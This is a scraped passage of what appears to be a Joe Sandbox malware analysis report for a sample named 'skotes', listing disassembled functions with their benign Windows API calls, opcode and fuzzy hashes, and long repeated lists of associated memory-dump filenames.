Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: CreateSleepThread
String ID:
API String ID: 4202482776-0
Opcode ID: 947146f50457926ab460ce343e3c795cccf3825efde2ad5f2349cdc607afbc47
Instruction ID: 28b2f728e55d004f49b73d0dbae4c1a623e7638c9eac3a557a18c97bf5d5b088
Opcode Fuzzy Hash: 947146f50457926ab460ce343e3c795cccf3825efde2ad5f2349cdc607afbc47
Instruction Fuzzy Hash: B9D08C307E0318F6F23013202C0BFA6BA30AB0EF00F658842B3893F1D0C5E4300047A8

Function 00AC8380 Relevance: 1.7, APIs: 1, Instructions: 159COMMON

Download Yara Rule

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AC8524

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: e93c627be3a522d6435cada9c1373969be0275ade7e4c5a0faa7998a907d66fb
Instruction ID: ed129489b4c4e27347680e80e4cbe3d1b954c164d833d14cce546ac7d38850a1
Opcode Fuzzy Hash: e93c627be3a522d6435cada9c1373969be0275ade7e4c5a0faa7998a907d66fb
Instruction Fuzzy Hash: 19513870D142189BDB18EB68CE49BDEB774EF45710F50429DE409A73C1EF799E808B91

Function 00AF7124 Relevance: 1.6, APIs: 1, Instructions: 56timeCOMMON

Download Yara Rule

APIs

SystemTimeToTzSpecificLocalTime.KERNEL32(00000000,?,?,?,?,?,00AF705B,?,?,00000000,00000000), ref: 00AF7166

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: Time$LocalSpecificSystem
String ID:
API String ID: 2574697306-0
Opcode ID: 74cb76337183fbb08d6f41a0ce1614ebe270aa050d1464682563a7182ca7e2c0
Instruction ID: 89f60e737320d4097cf44da749b28d15ce11dfd6d5b003323f3ce567bf2c26fe
Opcode Fuzzy Hash: 74cb76337183fbb08d6f41a0ce1614ebe270aa050d1464682563a7182ca7e2c0
Instruction Fuzzy Hash: 2211D67290410DAADB10DFD5C985EEFB7BCAF08310F605266F616E2190EA30EA49CB65

Function 00AFAC53 Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

__wsopen_s.LIBCMT ref: 00AFAC8D

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: __wsopen_s
String ID:
API String ID: 3347428461-0
Opcode ID: bddeac3087d0dd3b04cdfce9afb395d28509e9cc01da36f349e279729259db42
Instruction ID: 5db423a8490f4d8eda7343df95397043fbcf1dea6c195ab2153cd29a48e384a7
Opcode Fuzzy Hash: bddeac3087d0dd3b04cdfce9afb395d28509e9cc01da36f349e279729259db42
Instruction Fuzzy Hash: D81115B5A0420AAFCB05DF98E9419DA7BF4EF48314F0440A9F819AB251DA30EE25CB65

Function 00AFB04B Relevance: 1.5, APIs: 1, Instructions: 33memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,E6CEA310,?,?,00ADD3FC,E6CEA310,?,00AD7A8B,?,?,?,?,?,?,00AC7465,?), ref: 00AFB07E

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CB0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884389885.0000000000CBE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884528151.0000000000CC3000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884599549.0000000000CC4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884663901.0000000000CC6000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884732748.0000000000CC7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884811901.0000000000CC8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884884192.0000000000CC9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884989302.0000000000CE4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885067265.0000000000CE5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885145077.0000000000CF1000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885227523.0000000000D04000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885306041.0000000000D1C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885368995.0000000000D21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885429506.0000000000D22000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885497273.0000000000D25000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885572898.0000000000D2E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885645797.0000000000D34000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885714004.0000000000D35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885779635.0000000000D37000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885814983.0000000000D4F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885873256.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885928333.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2885992640.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886053698.0000000000D58000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886119416.0000000000D60000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886192985.0000000000D71000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886244350.0000000000D72000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886312925.0000000000D7D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D7E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886382645.0000000000D9B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886502387.0000000000DCD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886552614.0000000000DCE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886584657.0000000000DCF000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886645890.0000000000DD5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886672302.0000000000DD7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886705325.0000000000DE4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2886743978.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_ac0000_skotes.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 6ab40ef2e3d46314cdb08fb001c18669418dc4aaaf12f425133a3a9914de3971
Instruction ID: abbe7945864d1b8d4ceb53364a23a7eb7ded014d25e59c1125429a11b8883823
Opcode Fuzzy Hash: 6ab40ef2e3d46314cdb08fb001c18669418dc4aaaf12f425133a3a9914de3971
Instruction Fuzzy Hash: 0BE06D3516122E96EA3133E5CD41BBFA6699B423E2F251220BF6496590EF20DC0081F0

Function 00B01775 Relevance: 1.5, APIs: 1, Instructions: 16fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,00000000,?,00B01B65,?,?,00000000,?,00B01B65,00000000,0000000C), ref: 00B01792

Memory Dump Source

Source File: 00000006.00000002.2883431001.0000000000AC1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00AC0000, based on PE: true

Associated: 00000006.00000002.2883361037.0000000000AC0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883431001.0000000000B22000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883666463.0000000000B29000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883727805.0000000000B2B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883793902.0000000000B35000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883845805.0000000000B36000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2883909001.0000000000B37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884271037.0000000000C98000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2884331469.0000000000C9B000.00000080.00000001.01000000.00000007.sdmpDownload File
